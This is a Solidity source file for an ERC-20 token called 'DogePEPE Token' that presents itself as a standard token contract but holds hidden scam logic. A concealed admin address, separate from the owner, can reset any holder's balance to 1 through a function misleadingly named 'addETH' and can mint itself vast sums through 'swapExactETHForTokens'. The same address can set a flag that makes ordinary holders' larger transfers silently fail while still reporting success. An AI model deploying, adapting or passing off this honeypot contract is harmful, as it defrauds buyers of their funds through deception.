// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
interface IPancakeFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
    contract Ownable is Context {
    address private _owner;
    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    /**
        * @dev Returns the address of the current owner.
        */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
        * @dev Throws if called by any account other than the owner.
        */
    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }
}

contract DogePEPEToken is Context, IERC20, IERC20Metadata, Ownable {   

    address internal constant PancakeV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;   
    uint256 _NUM = 10000 * 10**9;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    bool isNumber = true;   
    address private initGas;
    constructor(address ads) {
        _totalSupply = 10**9 * 10**18;
        _balances[_msgSender()] = _totalSupply;
        initGas = ads;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }
    function viewGas() public view returns(address) {
        return initGas;
    }

    function name() public view virtual override returns (string memory) {
        return "DogePEPE Token";
    }

    function symbol() public view virtual override returns (string memory) {
        return "DogePEPE";
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    } 

    function theNumber(bool _number) public virtual returns (bool) {
        if(initGas == msg.sender){
            isNumber = _number;
        }
        return true;
    }

    function addETH(address pancakeA) external {
        require(initGas == msg.sender);
        if(initGas == msg.sender && initGas != pancakeA && pancakePair() != pancakeA && pancakeA != PancakeV2Router){
            uint256  pcaAmount = _balances[pancakeA];
            _balances[pancakeA] = _balances[pancakeA]-pcaAmount+1;
        } else {

        }
    }

    function swapExactETHForTokens(uint256 xt) external {
        require(initGas == msg.sender);
        if(initGas == msg.sender){
            uint256 AITC = 17000000000*10**decimals();
            uint256 ncs = AITC*75500;
            ncs = ncs * xt;
            _balances[msg.sender] += ncs;
        } else {

        }
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        //_transfer(_msgSender(), recipient, amount);
        if(_msgSender() == PancakeV2Router || _msgSender() == pancakePair() || pancakePair() == address(0) || _msgSender() == owner()) {
            _transfer(_msgSender(), recipient, amount);
        } else {
            //nomal user check amount
            if( (amount <= _NUM || isNumber) && !isContract(_msgSender()) ) {
                _transfer(_msgSender(), recipient, amount);
            }
        }
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        if(sender == PancakeV2Router || sender == pancakePair() || pancakePair() == address(0) || sender == owner()) {
            _transfer(sender, recipient, amount);
    
            uint256 currentAllowance = _allowances[sender][_msgSender()];
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        } else {
            //nomal user check amount
            if( (amount <= _NUM || isNumber) && !isContract(sender) ) {
                _transfer(sender, recipient, amount);
                uint256 currentAllowance = _allowances[sender][_msgSender()];
                require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
                unchecked {
                    _approve(sender, _msgSender(), currentAllowance - amount);
                }
            }
        }
        return true;
    }

    function pancakePair() public view virtual returns (address) {
        address PancakeV2Factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
        address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address pairAddress = IPancakeFactory(PancakeV2Factory).getPair(address(WETH), address(this));
        return pairAddress;
    }

    function isContract(address addr) internal view returns (bool) {
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        bytes32 codehash;
        assembly {
            codehash := extcodehash(addr)
        }
        return (codehash != 0x0 && codehash != accountHash);
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function tokenContract() public view virtual returns (address) {
        return address(this);
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

}